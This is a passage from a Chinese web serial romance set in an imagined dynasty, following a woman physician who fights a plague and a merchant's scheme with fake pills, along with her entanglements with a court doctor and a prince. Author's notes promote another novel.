程芙:“我真的没有生气,也绝不会轻易生你的气。” “嗯。”他垂眸看她,而后变戏法似的变出一包点心,塞进她手里,“董知县孝敬我的,味道虽不比京师,可这里的点心铺子早已关门,有的吃已经不错。” 程芙微微犹疑。 荀叙:“范吏目不碰甜食,不然我肯定也给他留一份。” 程芙抿唇笑,问:“里面是什么点心?” “八珍糕。” 仿佛有只小手,在心尖上猛然扯了下。程芙的笑意微微僵。 “不喜欢?”他问,“那你喜欢什么?” 程芙:“喜欢,我很喜欢。” 她说喜欢的神情有些狼狈,寒暄了几句便要走。 他追出去送她。 “我回去了,你请留步。”她柔声道,“吃了你好些零嘴,忙完这阵子,我便包水饺请你和范吏目吃。” “嗯。” 程芙捧着八珍糕,循着来时的路慢慢走回去。有细小的雪花在空中飘荡,打着旋儿落在她脑门、脸颊、脖颈,凉凉的,比眼泪还凉—— 作者有话说:推一推预收《被登基的前任报复了》,求收藏~~ 丨强取豪夺丨前任复仇复到了一个被窝丨被窝外打架,被窝里和好丨 年少的皇太孙,音色清澈动人,对温浅道:“若得表姐为妇,当作椒房专宠。” 少年的誓言诚挚动人。 时光荏苒,五年后。 新帝登基两载,后位空悬,膝下尚无一儿半女。 这一年,温浅的未婚夫病故,她饱受族人苛责。 未料父亲骤然东山再起,并将她献给了表弟——当今新帝,封正五品美人。 …… 二十岁的温浅应了年少的戏言,成为表弟的妇人。 未料奸人揭发她为早逝的未婚夫写悼词,表弟噙着玩味的笑,当着她的面漫不经心念起来,末了,认真指出两处乏味造作,建议她提升内涵多读书,又道:“阿姐端的深情,世间哪个男子见了不怜惜。” 他口中的“怜惜”别有深意。 是夜便留宿将她“怜惜”,直至她有孕。 后来,他亲手为她戴上名为凤冠的“枷锁”,将她一生一世“锁”入椒房。 是他的报复,亦是他的誓言。 ——阿姐,你人品真的很差。 ——阿姐,你玩弄我的真心,我玩弄你,咱俩彼此彼此。 随遇而安伪乖女x纯情阴暗大坏批 ——食用指南—— 1.【男女双C】【俩人各有各的缺点】【均非真善美】,建议雷点密集/要求主角完美的宝宝谨慎入坑,注意【强取豪夺】四个字哦,如觉不适立即撤退,弃文不必告知,温言善语,你一定发大财!! 2.除了双C之外不作其他任何保证,怕雷勿入,架空历史,谢绝考据。 3.年龄差半岁 文案发表于2025年10月03日,已截图存证,碰瓷偷盗必究 第59章 变故发生在今年初雪后的上午, 十月的最后一天。 县民郑银匠推着自家媳妇的尸体跪在临时官邸大门外,声声泣血哭诉:“草民媳妇先前服用菩萨丸一直好好的,因听信程医女的回灵丹, 昨日服食不过半个时辰便口吐鲜血而亡, 草民上有老下有小, 这可怎么活哟, 请程医女出面还草民媳妇性命。” 他这一闹立时吸引了几个外出领药的县民注意,围观的人并不敢聚集, 却分散开,隔着一小段距离竖着耳朵听, 只待听清来龙去脉, 不日将传遍皂河县大街小巷。 ——黄帝显灵的回灵丹吃死了人。 砸别人口碑是一件非常简单的事,不需要深谋远虑,智慧如海, 只需闹一场,有眼泪、有诉苦、有人命即可。 这些东西天生弱势,人们总是同情弱势,义正言辞批评看上去不够正义的。 看客的嘴加入自己的想象层层润色,再传进下一个人耳朵,面目全非也罢,奇形怪状也好, 总之是令人乐此不疲的谈资。 焦员外在家抱着茶壶微笑。 他只用这一招, 便清理了所有天敌,药铺稳居定州之首十余年。 写给干爹邱子昂的书信,四日前也已飞往京师,他会像碾死一只蝼蚁般碾死程医女,给所有插手皂河县的官差些许颜色瞅瞅。 临时官邸前, 蓬头垢面的郑银匠跪伏雪地,声泪俱下,风雪吹翻草席子一角,吹乱了他媳妇的裙摆,他扫了眼,继续伸长脖子,对转身欲走的围观民众倾吐,唾沫横飞,唯恐对方错漏关键信息。 有年纪大的婆婆提醒他:“草席子翻了。” 他才回头拽一拽,勉强覆好媳妇的遗容。 程芙躲在门后观察一阵子,仰脸看向一旁的荀叙,说:“他把媳妇孤零零仍在旁边,风吹雪落的,竟然不心疼,只一心骂我,唯恐看客‘不明就里’。” 荀叙稍稍压低身高,迁就程芙的个头,撸袖道:“我去揍他一顿。” “揍他没用。”程芙反手抓住他袖子,“只会显得我心虚。” “管别人说什么,先揍完先爽。” “你把他打了,铁定没人敢说你个不字,有口说不清的是我!” 荀叙退了回来,笑道:“我发现你不是单纯,是太过端方本分了,还想着跟恶人讲道理哈哈哈。你且看着,我不仅揍他我还要揍奸商、揍董知县。好叫他们知道我可不是来讲道理的。” 程芙:“……” 有权有势还不讲理,委屈谁也不委屈自己。 “我只是再想更重要的事。”她紧紧攥着他袖子,收拾小喽啰不急一时,“当务之急是找到菩萨丸的作坊。朱砂汞有毒,他们肯定不敢在闹市提炼。” 荀叙:“你意思是……?” 程芙点点头,“就是你想的那样。皂河县哪里人迹罕至且有利于提炼朱砂汞?” “我去查查。” 程芙拉住他继续道:“只要找到窝点,就能抓他个措手不及,人赃并获!” “嗯。找到窝点咱俩一起去,女科方剂你更专长。” 程芙说好。 荀叙眼珠一转,冷不丁道:“那个,咱俩都这么好了,要不要考虑把女图卖给我,价格好说的……” 程芙瞪他一眼,板着脸,“你做梦。” 荀叙嘻嘻哈哈,亦步亦趋随她返回了二进院。 “其实你也有依仗,根本不用怕奸商。”他说,“我和范大人都会保护你,你的功与过,我和他说了才算。” 这人想一出是一出,可是突然说出的话也太暖心,程芙不禁触动,忙看向别处,避开了他的视线,“你这么护着我,不怕遭人非议?” “非议我贪花好色?”荀叙朝天翻了个白眼,“讲真,你也没多漂亮,第一眼吓我一跳,你别生气哈,我不是说你丑的意思,你不丑,挺耐看的,越看越好看。” 话题扯远了,但是将心比心,没有女孩子愿意被人当面否认姿色,程芙也不例外,略有些别扭道:“我不信,我这么好看能吓到你。” 荀叙扯了扯嘴角,发现说实话和说假话都可能得罪程芙,忙摇头否认:“怎么会,我意思是你比我想象的更好看。” 程芙确实貌美罕见,可单论相貌,到底还是稍逊邱家和吴家的三位姑娘一筹,而荀叙从小到大见多了此等级别的大美人,高挑、丰-腴、明艳,是真不觉得程芙有多好看,主要是她太瘦,个子还矮。 单从男人的角度出发,女人当然是越丰-腴越好,虽俗气但真实,就像女人喜欢个子高肩膀宽腰细的男人。 都是刻在骨子里的对于异性的基础审美。 让男人不青睐丰-腴的女人,等同让女人钟情矮小的男人。 逆人性。 但荀叙的直觉告诉他,不能跟程芙讲实话,他得说些中听的,比如她挺好看,而不能说你又瘦又矮,扁扁的,多吃点吧。 未料程芙不等他开口,突然打断他,问:“奸商焦员外是什么来头?” 除了提供方剂,董知县从来不与程芙打交道,关于这里的情况,她只能从荀叙和范吏目口中打探,而她来定州前就对焦员外明面的情况了解甚多,此刻问的显然是焦员外背后的依仗。 “他认了一个比自己小三岁的干爹,京师皇商邱子昂。”荀叙说,“姓邱,就是你理解的那个邱。” 闻此一说,程芙的心悬了起来,高高吊着,忧惧沿着奇经八脉游向了四肢百骸,没错,她怂了。 然而“怂”仅仅是因为本能,她知道自己不会退缩。 她抿紧了唇。 小小姑娘,顽固的样子好可爱啊,似乎有点理解毅王了。 荀叙觉得程芙非常有趣。 “我跟你是一体的,我没有事你就不会有事。”他笑道。 程芙抬眼看了看他,“上面有人的感觉真好。” “比邱贵妃你还差一截,她上面有邱阁老和皇上,还有个做太子的亲生儿子。” “……” “怕了?” “怕。” “那你叫我一声荀大哥,回到京师我帮你说说情。” “荀大哥。” “……”荀叙窒了窒。 两人迈上二进院的庑廊,他忽然又问:“昨天我没得罪你吧?” 程芙一脸茫然:“没啊。” “你是不知道自己当时的脸色,捧着八珍糕就要走。”他模仿她的表情,眉心一簇,眼尾下垂,“像这样,对,就是这样,多吓人。” 程芙难为情地低下头。 他问:“八珍糕好吃吗?” “好吃。” “哈哈。” 荀叙笑了笑,没问她为何把八珍糕都给了熊氏姐妹,一口未尝怎知好吃的? 他还有其他的事,走到前面的庑廊便与她分道扬镳了。 …… 崔令瞻日夜兼程,再有四日便能抵达定州。 月亮悄然从山脊浮出,越升越高,地势也越来越险恶,不利于夜行。 他抬臂示意队伍停驻。 众侍卫下马安营扎寨,生火打水,井然有序。 墨砚将烧好的水盛于汝窑茶碗,稍稍放凉,再奉给崔令瞻,“王爷,喝口水润润嗓子。” 崔令瞻扯下面巾,喝了一碗。 墨砚双手接过他手中的空碗,见他一路沉默少语,郁郁寡欢,总这样也不是办法,遂安慰道:“芙小姐定然不会有事的。您想啊,她本身就是医女,颇有些厉害手段,随行的还有荀御医和范吏目,哪个不是太医署顶尖的大小方脉高手,尤其范吏目,参与的赈瘟平疫比芙小姐吃过的盐都多,老江湖了。” “况且汤御医的清腑散简直神了,人口伤亡肉眼可见降低。” “真论起来,被地头蛇整治的风险远大于感染瘟疫的。” 崔令瞻:“被别人整治,她不见得往心里去,只有本王才会被她记恨一百年。真吃了亏才好,免得以为所有人都像本王这般让着她。” 不是什么话都可以接的,比如此刻毅王发-泄的郁愤之言,墨砚连忙假装没听清。 嘴瘾一过,担惊受怕的事情遽然一齐涌上心头,崔令瞻颓然倾坐亲卫递来的交椅。 除了瘟疫,另一件事同样使人不安。 崔令瞻盯着月升,目不斜视,忽然道:“她和荀叙在燕阳便你来我往,亲热有加。” 墨砚愣了下,赔笑道:“奴才觉得不至于呢。俩人当时连面都没见过,还在您跟前过了明路,来往几封关于医道的书信……不至于,真不至于……” “现在见面了,每日同进同出,应是好得不得了。她那点心眼全用到本王身上,只会与本王对着干,换别个,随便许她些好处,她就感恩戴德。” 崔令瞻的声线没有一丝起伏,落寞道,“荀叙惯会哄女孩子开心,怕是把她卖了,她都要千恩万谢帮着人数钱的。” 一番话下来,含酸拈醋,听多了竟又有些可怜。墨砚叹了口气,强笑道:“芙小姐最是稳重,连您她都……不是?哪里就会被外面的人一两句好处哄走。” 崔令瞻沉下了脸,想来是因为墨砚那句程芙连他都不放在眼里的话不中听。 墨砚敛声屏气。 崔令瞻越想越气,一拍扶手站起了身,拂袖大步流星走回营帐。 那可怜的厚羊毛毡帘子东倒西歪,险些被他摔散架。 好大的气性!墨砚缩了缩脖子,可光在背后耍气性有何用呢?芙小姐听不见看不着的,关键到了芙小姐跟前,王爷又抖不出威风…… 抖不出威风倒也罢,一见面还会触芙小姐逆鳞,明明也不是木头,嘴也不笨,只不知为何,永远都哄不好芙小姐。 崔令瞻仰首躺在厚厚的羊毛毡上,想着那个把他的魂儿握在手心的姑娘。 她和别的男人打情骂俏时会不会有一刻想起他? 她还记不记得他是她的第一个男人? 他们本可以定亲成婚了…… 可他又想起她幽怨的眼睛,在他身子下小猫儿似的,如泣如诉,无助地摇首,又委屈又可怜。 其实他知道她心不甘情不愿。 可他偏要假装不知,就是欺负她,哄着她稀里糊涂把身子交给了他,又盼望她也能像他般沉醉其中,日久生情。 可他欺负她,她怎么会喜欢他呢? 冬月初二,大前天下的雪零零散散分布在屋檐树梢,今年比往年都冷。 人们换上了厚厚的棉衣。 程芙穿了厚夹棉短袄,外罩窄袖衫子,抱着一筐草药拐上二进院庑廊,迎面撞见荀叙。 两日未见,不知他在忙什么?程芙满心都是菩萨丸作坊,终于见到他,双目噌的发亮,小跑过去,喊道:“荀大哥,你去了哪儿?昨天我还找你。” 荀叙慢慢转过身,看她,慢慢笑了笑:“偷偷审了郑银匠,请他吃了几拳,他便什么都招了。” 程芙:“他不招我也知他受谁指使。” “他招了在菩萨丸作坊扯矿炉。” 程芙满眼惊喜,险些打翻了药筐,“这么重要的事为何不早点与我说?” 荀叙替她拎药筐,于她来说真的很沉。 程芙摆手,“我自己提,没多重。”她的心思都在他的重大发现上,“快跟我说说吧。” “为了防止他走漏风声,我把他关在地窖。” “万一他家人找不见他……” “吃喝-嫖-赌样样精通的一个人,家里原本就剩下一个媳妇,现在被他祸害死,再没有人在意他回不回家。” “他不是声称上有老下有小……?” “傻子。” “……?” “男人的嘴骗人的鬼,你还真信啊?” “也是,品行如此恶劣之人,嘴里没几句实话。”程芙又道,“可你方才不是说他在作坊里扯矿炉,若是消失太久,被其他工匠发现……” “明晚四更,咱们去趟作坊,平安和喜乐负责捉人,你查看方剂。” “那你做什么?” “我保护你。”他回。 第60章 程芙笑了, 是那种很放松很坦然的笑,大大方方回他:“谢谢啦。水饺午膳前就给你们送去。” 她记得范吏目过午不食,自然是越早送越好。 “你做饭不难吃吧?”荀叙逗她。 心里的小疙瘩其实一直都在, 他不解她为何要撒谎, 把他送她的八珍糕全都送了旁人, 脸不红心不跳地骗他说好吃。 这个小疙瘩让他不忿于自己被欺骗、她会撒谎、他的心意被人轻率处置。但他面上仍旧与她说说笑笑, 假装一无所知,可这样也导致他的行为出现了一些偏差, 让她渐渐觉得他古怪。 “还行,不过包饺子我真的很拿手。”程芙谦虚回。 搁以前, 她会回很好吃, 可是自从吃了凌云随手做的简餐,突然对自己的厨艺有了更为准确的认知,“很好吃”三个字变得粘嘴。 不过她包的饺子确实有点儿水准, 用了阿娘所授的小技巧,以葱姜水浇透肉馅儿,再以油锁住水分,包出后各个皮薄馅多,油润汁足,吃进嘴里满口生香。 荀叙笑了笑。 她也跟着笑。 日光之下,女孩子的脸颊细腻瓷白, 有种不同于男子的柔软。 荀叙借着身高优势打量程芙, 晨光恰好投在她身上,像是给她饱满的粉腮镶了一层淡淡的金边,他目力极好,甚至能窥见她脸颊细微的透明的毫毛,他想, 她应是从未绞过面。 思及她无父无母,也没有个正经教养嬷嬷指点,糊里糊涂被毅王玩-弄了一年,什么都不懂,谁会管她绞不绞面。 不过她好像挺喜欢现在的生活,甚少抱怨,像个傻瓜一样。 荀叙:“我帮你,桂枝和鲜姜很沉。” “一起抬吧。” 是挺沉的,所以她不太好意思甩手做大爷,竟认真与荀叙分担起来。 她没把他当男的,更没有利用天然优势从他那里享受些什么的打算。荀叙将药筐换到左手,淡淡道:“本来一只手提着还轻省,你过来抬,让我恍惚有种同时提着药筐和你的错觉,更沉了。” 程芙:“……” 她讪讪松开手。 不一会儿又追上了他的步伐,问东问西。 荀叙耐心地回她。 到了东厢房,她小跑上前,为他打开门,她以为那筐沉重的药材会让荀叙吃不消,尽可能地帮他减轻多余的动作,减轻负担。 毕竟男子都爱面子,再沉也不好意思服软,还非要硬撑着单手拎,脸色都拎黑了。 程芙善解人意,不忍心拆穿,假装没瞧见他黑脸,先向范吏目复命。 “范吏目。”她欠身问安。 范吏目放下西洋镜问她:“药材可够?” 程芙摇了摇头,“桂枝只有我带来的这些。”略略一顿,进言道,“不过麻黄还有不少,婆子们说凑一凑也能坚持五日,您看……要不将桂枝汤改成麻黄汤,如此便能减轻桂枝的用量,分到大家手里的药则能多几碗。” 范吏目算了算,确实如程芙所言,点头道:“不错,就依你所言。” 小小年纪,办事很让人放心,目前程芙所提的每一个建议,经过范吏目和荀叙把关,均无一处错漏。 只剩下祛毒散的推广,还需再观察些时日。 范吏目重新举起西洋镜,偏头对程芙努努嘴,“去把鲜姜腾出来,怎能让荀御医下手……” 这里品秩地位最高的非荀御医莫属,只不过他年纪小,又处处礼让范吏目,显得没甚官威,但不代表范吏目真不以他为尊,程芙竟让荀御医蹲在地上分药,属实没个眉高眼低。 “……”程芙大惊,谁叫荀叙干活了? 正常情况下,他不是该将竹筐放墙角,然后忙自己的事去? 怎么一转头的功夫亲手干上了? 鲜姜上全是大块的泥土。 “我来吧,这活脏。”程芙在范吏目微微责备的眼神中快步走到次间门口,把筐往自己怀里一搂,小声道,“你再不走,令上官失望的人可是我,我是个没眼力见儿的小医员。” 荀叙扑哧一笑,抢过她手里的姜,“你本来也没多少眼力见儿。” “你变了。” “哪有?” “你以前从不说我不好。” “关系好了才会实话实说。” “你的意思是咱俩关系好?”程芙指指他又指指自己,眼睛笑弯弯的。 荀叙歪着头看她,“你说呢?” “那也不能让御医大人您干活。” 她一把抢走他手里的姜,谁知他反应更快,反手一握,攥住了她的手。 像攥住了一枝春日的百合。 如雪似玉娇含粉。 程芙眨眨眼,尚在对他速度的惊讶中没回过神。 荀叙也望着她,黝黑的眼睛似笑非笑。 两人的视线胶着了一处。 一个茫然,一个蓄意。范吏目眉头皱成了一个“川”字,猛然咳嗽了声,荀叙如梦初醒,余光瞥见范吏目神色,迅速松开了程芙,起身道:“记得送饺子。” 说完,若无其事离开了东厢房。 程芙脆声应了句好。 事情发生在电光火石间,她并未感觉到恶意,权当是无心之举,因而非但没有责怪荀叙冒失,反倒暗暗反省自己争抢的行为有失分寸,下次再这样就让给他,有人抢着干活,她才轻省呢。 她这个人有时确实有点儿本分,过于本分。 捡完鲜姜,她向范吏目作辞,回去包饺子。 范吏目点点头,说了声:“荀御医是男孩子,你是姑娘家,避着些,莫要打打闹闹,不成体统。” 程芙脸一红,欠身说是。 范吏目暗忖这么说小姑娘有失公允,不得不苦口婆心道:“你还小,便是嫁过人也还不满十八岁,应是不知男孩子是这世上最坏的东西。” 程芙张口结舌:“您……您也是男的。” 怎么连自己都骂上了。 范吏目眼睛一瞪,“我是男的啊,但我是七十岁的老叟,早就过了坏东西的年纪,现在么,现在心如止水,自然一心向善。” 程芙:“……” 不管怎样,老先生的话还是要听的,她恭恭敬敬领受,范吏目的脸色就好看了许多,道:“去吧,饺子别包太多,吃多了我克化不了。” 崔令瞻还有三日抵达定州境内—— 作者有话说:推一推预收《被登基的前任报复了》,求收藏~~ 丨强取豪夺丨前任复仇复到了一个被窝丨被窝外打架,被窝里和好丨 年少的皇太孙,音色清澈动人,对温浅道:“若得表姐为妇,当作椒房专宠。” 少年的誓言诚挚动人。 时光荏苒,五年后。 新帝登基两载,后位空悬,膝下尚无一儿半女。 这一年,温浅的未婚夫病故,她饱受族人苛责。 未料父亲骤然东山再起,并将她献给了表弟——当今新帝,封正五品美人。 …… 二十岁的温浅应了年少的戏言,成为表弟的妇人。 未料奸人揭发她为早逝的未婚夫写悼词,表弟噙着玩味的笑,当着她的面漫不经心念起来,末了,认真指出两处乏味造作,建议她提升内涵多读书,又道:“阿姐端的深情,世间哪个男子见了不怜惜。” 他口中的“怜惜”别有深意。 是夜便留宿将她“怜惜”,直至她有孕。 后来,他亲手为她戴上名为凤冠的“枷锁”,将她一生一世“锁”入椒房。 是他的报复,亦是他的誓言。 ——阿姐,你人品真的很差。 ——阿姐,你玩弄我的真心,我玩弄你,咱俩彼此彼此。 随遇而安伪乖女x纯情阴暗大坏批 ——食用指南—— 1.【男女双C】【俩人各有各的缺点】【均非真善美】,建议雷点密集/要求主角完美的宝宝谨慎入坑,注意【强取豪夺】四个字哦,如觉不适立即撤退,弃文不必告知,温言善语,你一定发大财!! 2.除了双C之外不作其他任何保证,怕雷勿入,架空历史,谢绝考据。 3.年龄差半岁 文案发表于2025年10月03日,已截图存证,碰瓷偷盗必究《 》 60-70 第61章 承载着一个姑娘满心感激的饺子巳正二刻准时送去了一进院。 程芙提着两层黑漆食盒, 亲手交给喜乐,寒暄两句,心里念着其他事, 便匆匆辞别。 荀叙听见动静, 撂下竹筷追出来, 范吏目斜着眼瞅他。 到底是晚了一步, 一步跨出门槛,他只看见了阿芙的背影, 穿着一件宽松的中长款秋香绿细布夹棉袄,靛青色的缬染合围裙, 步履轻盈, 檀色的绦带在她裙间轻晃,让人觉得她裙摆拂过的风都是馨香的…… “下午有空吗?”荀叙手叉腰中气十足喊了声。 程芙回首一顾,对着他摆摆手, “我要给医婆授课。” “什么课?” “妇人婚后产后颐养。” 说话的功夫他迈着长腿,三步并作两步走到了她身边。 他说:“我也去听听。” 程芙:“恐不大合适。” “为何?” “你受得住,医婆可能受不住,你莫不是忘了自己是个男子?” “原来你知道我是男的。”荀叙自言自语,转而笑道,“那好,你忙吧。” 她果然就走了。 荀叙悻悻然回了屋, 范吏目正在大口塞饺子, 余光瞥见他,冷哼一声。 荀叙没吭声,也坐回去继续吃饭。 显而易见,他的一些不太光彩的心思被老辣的同类察觉到,并且看得清清楚楚, 同类对他的行为很是不屑,但也无可奈何。 “她一个小寡妇,年纪又比你小,你仗着家世好相貌好把她哄了,无非就快活那几下,然后呢,准备怎么安置人家?万一她想不开找你家里闹,岂非自寻死路?” 范吏目用完饭,边走边道,仿佛是对空气讲话,也不在意荀叙怎么辩解的,头也不回负手踏出此间。 荀叙被他说得面红耳赤,气急败坏道:“你说话真难听,大可不必把人想得如此龌龊,我何时哄她了?谁……谁要快活了……” 范吏目嗤笑一声。 他早就看出来了,这个荀御医心眼特别多。 …… 皂河县的医婆正三三两两做堆闲聊,听见动静,不约而同看向了程芙款款走来的方向。 尽管见过五六回,每回都包着面巾,可那露出的额头肌肤如雪如琼脂,眼仁儿黑白分明,长长的睫毛浓密昳丽,把眼睛的轮廓勾勒出清晰的线条,显得眼尾的弧度柔美至极。 她一定很美,面巾下是更美的容颜。 众人止不住眼前发亮,暗道观世音娘娘大抵也就长这样吧。 单凭这副长相,装起神仙,倒也无需程芙大动作,还真有不少人信,信她被药神黄帝托过梦才配出了回灵丹。 虽说大前天被郑银匠闹过事,可郑银匠的口碑实不怎样,郑媳妇生前三不五时挨他虐待,到底是病死打死还是吃了回灵丹死了,众说纷纭。 胆子小又没什么主意的县民难免心生防备,甚至重新回购菩萨丸,不过医婆倒是挺信任程芙,无他,懂行一瞧就知有没有,从方剂到医术都是真的,还时不时抽空免费授课,讲了许多新鲜的闻所未闻的女科精妙,使得医婆大开眼界。 大家耳熟能详的方剂,程医女稍稍改一改配比,效果立即倍增。谁有疑难病案请教,她当场点出症因和方剂。 女神医!! 故此程芙一到,众医婆顷刻鸦雀无声,全都规规矩矩坐在小杌子上,齐刷刷望着她,眼神从惊艳到敬畏。 程芙一向沉得住气,牢记荀叙的告诫保持神秘,难免就要端着些,这份端着使得她能少花些力气取信于人,把仁心医术施于民众,两相受益。 一场课足足讲了三炷香。 散学时,有人上前对着程芙行了一礼,小心翼翼问:“敢问女夫子,何时再给我们授课?” “初雪刚过,天气转凉。”程芙说,“等预防伤寒的麻黄汤都发到了县民手里,再授课也不迟。” 众人一听,七嘴八舌讨论起,建议程芙今日就开始分拣麻黄汤的药材。 程芙望了望天色,道:“那便劳烦诸位了。” 众人为了尽早开课,忙道着“不劳烦不劳烦”,略一商议,撸起袖子抬筐的抬筐,铺席子的铺席子,热火朝天的,照这个势头,后日一早便可以在县衙门口搭棚施药。 程医女说了,只消平安度过年关,这场瘟疫则算是平息九成。 眼下最怕的是瘟疫未尽伤寒乘虚而入,因此须给县民分发一批麻黄汤强身固体。 …… 授课是个体力活,程芙又渴又累,离开充作学堂的退步,打着哈欠拐上抄手游廊,不巧遇上了荀叙。 她忙扯下面巾,笑着打招呼:“荀大哥。” 荀叙递给她一只金黄色的北泊大鸭梨,果香浓郁。 “又是董知县孝敬你的?”她举着鸭梨笑,纤细粉嫩的十指看着修长,竟握不住整只梨子。 女孩子的手真小。 荀叙目光从她手上收回,昂着下巴道:“是呀,奸商搜刮民脂民膏孝敬他,我不得多搜刮搜刮他。” “下次搜刮把我也带上。” “你想要什么?” “年份好一些的人参。” “这是赈灾汤药需要的,不是你要的,你要什么?” “那多要几颗梨子。” 荀叙扑哧一笑,“我那里还有,等我回去就让喜乐搬给你。” “不要,你和范吏目吃。” “他年纪大,嫌鸭梨凉。” “你留着自己吃,不要什么都给我,仔细瓜田李下。” “你也被范吏目诘责了?” “他是为了咱俩好。” 荀叙不再说什么,平复了须臾,才轻轻冷嗤一声:“多管闲事。” 程芙用手绢稍稍擦了擦鸭梨,低头用力一咬,汁水四溢,皮薄如蝉翼,果肉酥松无渣,一口唤醒了她的记忆,美味完全不亚于在燕阳吃过的雪梨。 泛滥的果汁不啻掬了一大捧甘泉入口,解燥解渴,清甜入喉,她舒服地眯起了眼睛,唇珠还挂着两颗晶莹的水珠。 荀叙盯着她嚅动的饱满的樱唇,想着那晶莹欲滴的水珠,水珠……樱唇……柔软,他的喉结不由自主缓缓地滚动,脑子里立时响起了范吏目的诘责和冷冰冰的眼神,发热的脑子顿时清醒了不少。 他不动声色往后退了退。 程芙捧着鸭梨对他道,“多谢了,真的很好吃。”见他给自己闪开了道,顿时觉得舒心不少,“你来这边找范吏目的吗?他在东次间看书。” “我来找你的。” “我?” “我想了下,要不明晚你别去了,山里冷。” “我不去,万一漏了什么药材方剂的,让坏人逍遥法外如何是好?” “其实我也懂一些。” “不过是民间奸商和帮闲组建的巢穴,难道你还怕有长矛利戟弓弩伤人?”程芙道,“再卖两年菩萨丸,他们也赚不回这些兵器的钱。” 荀叙被她逗笑了,“一群乌合之众,便是看守也只有几根齐眉短棍,平安一个人就能解决,我只是觉得山中幽冷,女孩子家家的去贼窝里晦气。” “我们去了,晦气的便是他们。” “好,我们一起。” 两人相视而笑。 荀叙把程芙送回三进院门口,叮嘱她,“明晚丑时我来接你,白天记得多睡会。” “嗯。” 展眼翻过去一天,入夜万籁俱静,程芙一身厚夹棉的短褐,窄袖长裤,上衣不过膝盖,在腰上扎一条结实的汗巾,尤为利落,上蹿下跳无拘无束。 荀叙满意地点点头,提醒她:“把头发包好,莫要树枝刮了。” “嗯。” 当皂河县沉入了梦乡,四个精神的人乘着一辆小巧的骡车,悄然穿过寂静的荒郊小道,直奔凉鹊山。 车厢小的好处显而易见,轻便且利于掩饰踪迹,缺点是稍稍挤了点,但是平安和喜乐坐在车外,车厢里的程芙和荀叙都挺瘦的,尤其程芙,骨骼纤秀,于是对坐时倒也不觉得逼仄。 程芙拨了拨羊角灯里的烛芯,干坐着怪尴尬的,便主动问了好奇已久的事,“焦员外家大业大,就为了压榨灾民手里那点赈灾银子卖菩萨丸,多少有点儿雁过拔毛,灾民手里能有几个钱……” “当然不是为了灾民手里的几个钱,那只是顺带的。” 程芙更好奇了,张大眼睛望着他,灯火微微晃,幽暗的车厢里,他似乎只能看见她灼灼的美眸。 荀叙给自己倒了杯茶,灌了两口,道:“你可知皂河县什么最出名?” “糯米和蜜橘。” 荀叙点点头,“这两样东西在京师极受欢迎,可是皂河县的田地有限,农人不可能全拿来种糯米和蜜橘,种植的人家将来售卖的价格定然也不便宜,因为农人要靠它们换取一家未来一年的嚼用。” 程芙说是。 “焦员外赚不到理想的利润,就把主意打到了田产上,通过菩萨丸逼迫农人售卖田产,一步步兼并土地,待灾情过去全部种满糯米和蜜橘,将来高价卖往京师,不知要赚得多少座银山。” 程芙掰着手指算了算,不寒而栗,怒道:“他这样捣腾,岂不是要饿死所有失田的农人?” “农人若想不被饿死,只能租种焦员外的地,变成焦家的奴仆。”荀叙比着手道,“原本是自由身的农人和有主的田地,最后都成了焦员外的,这才是菩萨丸的真正目的。” 简短几句话,奸商的冷酷贪婪,人性的险恶,淋漓尽致,程芙感觉脊梁骨都在冒凉气,忍不住打了个哆嗦。 “弱肉强食,去哪儿都一样。”他柔声道,“只不过人比牲畜懂规矩,不守规矩的人早晚被守规矩惩治,咱俩现在就去惩治坏人!” 程芙恨不能放一把火烧了贼窝。 行了半个时辰,周围草色渐深,车厢不时被路过的枝桠敲打,劈啪作响,程芙扭头看,荀叙忙捧了她的脸,“小心。” “我不傻,我不会把脑袋伸出窗外的。”程芙难以置信自己在荀叙心中竟愚蠢至此。 荀叙讪讪松开了手,掌心一片柔软的滑腻,久久不散。 “其实没必要太拼。”他说,“此番回京,你的功劳我和范吏目皆看在眼里,朝廷少说也能给你晋升个吏目。” 程芙的眼睛登时比天上的星星还亮闪闪,“我,我要变成了吏目,岂不跟范吏目一样?我这点资历,真是没想到。” 荀叙哈哈大笑,“大昭的官职分职事官和散官,有具体差事的叫职事,比如吏目、院使等等,职事官职平平的,散官职或许高到令你惊讶哦,你比范吏目,差着十万八千里呢。” 如此复杂的轨制,岂是初入官场的程芙上来就懂的,她檀口微启,动了动嘴唇。 “范吏目的散官品秩已达正三品,享有正三品待遇,不过无正三品实权。” “那你呢?”她下意识问了句。 “我啊,我也正三品。”荀叙淡淡道,“蒙受皇恩荫封而来,没甚了不起的,你若是我家的人也能有。” 程芙艳羡不已,咂咂嘴道:“我娘命苦,哪有机会托生到你这样的人家。” “令慈没机会,你若有机会呢?” “我才不要!”程芙正色道,“我只要我阿娘,在我眼里,全天下的娘都比不过她。” “我娘也不行吗?她可是正二品诰命夫人……” 一根筋的姑娘坚定地摇了摇头,一字一顿道:“我不要!” 荀叙目不转睛凝看她半晌,忽然笑了,“我知道你为何要逃婚?” “人家说东你说西,干嘛扯我逃不逃婚的……” “毅王想娶你,最简单的法子便是为你换一个户籍,恰恰拂了你的逆鳞,对不对?” “不换户籍我也不愿嫁给他。” “我不信。” “我管你信不信。” “生气了?哇,真的生气了。”荀叙忙挪到她身边并肩坐下,举手保证,“我错了,方才是我逾矩,现在我给您保证再也不提您的私事,下次绝对不会了!” 说完,轻轻撞了撞她肩膀。 程芙心里生气,却不想在朋友面前表现的极其小气,只得扯了扯嘴角,勉强笑笑,“下不为例。” 骡车一停,她斗志昂扬,率先跳下了车—— 作者有话说:求营养液~~~~~谢谢大家~~~~~~~ 第62章 凉鹊山的野物多为野兔野雉, 体型小又难以捕获,便是捉到了收益也不大,很少有猎户愿意来此碰运气, 只有樵夫十天半个月光顾一趟, 沿着外围砍伐树木, 因而此处绝对算得上皂河县偏僻之地。 四更天的山道两侧影影绰绰, 杂树丛生,乱蓬蓬的荆棘丛不时有受惊的小兽飞出, 夺路而逃。 程芙鲜少接触夜晚的荒郊,环顾四周阴森可怖, 树杈挡住了月色星光, 一只夜鸟划过她的头顶,吓得她脚下一个趔趄,来时像鼓足了风的帆, 此时像漏了风的孔明灯。 平安和喜乐健步如飞,走路无声无息,很快就将荀叙和程芙拉开一大段距离,程芙不由发慌,拔腿快追。 荀叙攥住她腕子,“别急,他俩过去把人清理清理, 省得你害怕。” 程芙:“我不是害怕帮闲……” “那你怕什么?” “你不觉得……”她毛骨悚然, 声音越说越低,“刚才咱们路过的两个鼓包很像那个……” “不是像,那就是坟墓,前面还有两个……” 程芙一把捂住他的嘴,“嘘嘘嘘, 能不能不要把不吉利的字眼说出来!” 